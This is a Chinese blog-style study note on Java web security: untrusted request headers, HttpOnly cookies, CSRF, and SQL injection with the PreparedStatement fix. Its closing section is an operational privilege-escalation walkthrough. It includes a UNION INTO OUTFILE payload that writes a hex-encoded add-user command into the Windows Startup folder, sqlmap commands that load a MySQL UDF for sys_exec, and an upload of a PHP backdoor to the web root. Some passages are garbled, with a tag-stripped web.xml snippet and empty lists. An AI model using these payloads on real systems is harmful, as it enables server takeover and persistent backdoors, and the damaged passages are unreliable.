Web业务模型中,Client和Server是一同出现的两个角色。作为开发者,或者说作为Server,用于不要相信你的用户,也不要相信用户的输入。由此,我们结合参考《攻击JAVA应用》一书,谈一谈CS交互安全。
如下代码所示,server代码信任用户请求头,读取后直接放入html语句中,未作任何处理,则如果攻击者修改了用户请求头,即可利用此风险。
Enumeration e = request.getHeaderNames();
while (e.hasMoreElements()) {
String name = (String) e.nextElement();//获取key
String value = request.getHeader(name);//得到对应的值
out.println(name + "=" + value + "
");//输出如cookie=123
}
修改请求头的作用是在某些业务逻辑下程序猿需要去记录用户的请求头信息到数据库,而通过伪造的请求头一旦到了数据库可能造成 xss,或者导致sql注入也是可能的。
在 JAVAEE6 的 API 里面已经可以直接设置 HttpOnly,在 servlet3.0 开始也支持直接通过 setHttpOnly 设置。如果 isHttpOnly 被设置成 true,那么 cookie 会被标识成 HttpOnly.能够在一定程度上解决跨站脚本攻击。
在新的 Servlet 当中不只是能够通过手动的去setHttpOnly 还可以通过在 web.xml 当中添加 cookie-config(HttpOnly 默认开第 33 页启,注意配置的是 web-app_3_0.xsd):
true
true
index.jsp
敏感操作,并不一定需要攻击者先劫持账户再实现,也可通过CSRF攻击的形式来让用户在不知不觉中去执行。这种情况下,服务器如何进行校验用户的真实意愿,是非常非常重要的事情。
方法有很多:
Sql 注入产生的直接原因是拼凑 SQL,绝大多数程序员在做开发的时候并不会去关注 SQL最终是怎么去运行的,更不会去关注 SQL 执行的安全性。
如下列代码:
String sql = "SELECT * from corps where id = "+id;//查询语句
try {
Class.forName(MYSQLDRIVER);//加载MYSQL驱动
Connection conn = DriverManager.getConnection(MYSQLURL);//
获取数据库连接
PreparedStatement pstt = conn.prepareStatement(sql);
ResultSet rs = pstt.executeQuery();
System.out.println("SQL:"+sql);//打印SQL
while(rs.next()){//结果遍历
System.out.println("ID:"+rs.getObject("id"));//ID
System.out.println("厂商:"+rs.getObject("corps_name"));//输出厂商名称
System.out.println("主站"+rs.getObject("corps_url"));//厂商URL
}
rs.close();//关闭查询结果集
pstt.close();//关闭PreparedStatement
conn.close();//关闭数据连接
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
服务器直接将用户输入拼接,进行查询,这样的代码怎么不被注入。
对用户输入进行预编译,prepareStatemen就是一个预编译的好工具。用“?”号去占位,预编译SQL的时候会自动根据pstt里的参数去处理,从而避免SQL注入。
String sql = "SELECT * from corps where id = ? ";
pstt = conn.prepareStatement(sql);//获取预编译的PreparedStatement对象
pstt.setObject(1, id);//使用预编译SQL
ResultSet rs = pstt.executeQuery();
请注意,一定是在函数预编译后再进行拼接。并不是用了PreparedStatement这个
对象就不存在SQL注入而是跟你在预编译前有没有拼凑SQL语句, String sql = “select
* from xxx where id = ”+id//这种必死无疑。
那么,会不会被绕过呢?有的。有些小朋友写代码,不会指定获取参数的method,Java 中的 JSP 里边有个特性直接 request.getParameter("Parameter");去获取请求的数据是不分 GET 和 POST 的,Servlet 一般都是两者合一的
方式去处理的,而在 SpringMVC 里面如果不指定传入参数的方式默认是 get 和 post 都可以
接收到。也就是说:可以通过 POST 方式去绕过普通的 SQL 防注入检测!
容易出现SQL注入的点:
这边顺便学了一波SQL提权:
1.写启动项
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select
0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67
726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','',''
into outfile'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start
Menu/Programs/Startup/1.bat。这一句的效果就是将添加系统用户的指令的Hex编码写到Windows7启动项里的1.bat文件,前提是明确系统,调整路径。
2.注入点UDF提权
首先寻找mysql插件路径select @@plugin_dir或者select @@basedir或者show variables like ‘%plugins%,udf 导出的绝对路径就是“插件路径”+udf.dll
这里,我用sqlmap尝试来实现这件事。
首先打开命令行:python sqlmap.py -u 'http://xxxx' --sql-shell
在sql-shell下就可以执行sql语句了,查看插件路径的命令是:show variables like "%plugin%";
利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录:python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so
--file-dest=/usr/lib/mysql/plugin/
再次打开sql-shell 激活存储过程「sys_exec」函数::
CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
SELECT * FROM information_schema.routines
sys_exec(id);
上传后门:python sqlmap.py -r ../Desktop/1.txt --file-write=/Users/me/Desktop/yjhphp.php --file-dest=/var/www/spy.php
3.MOF和sethc提权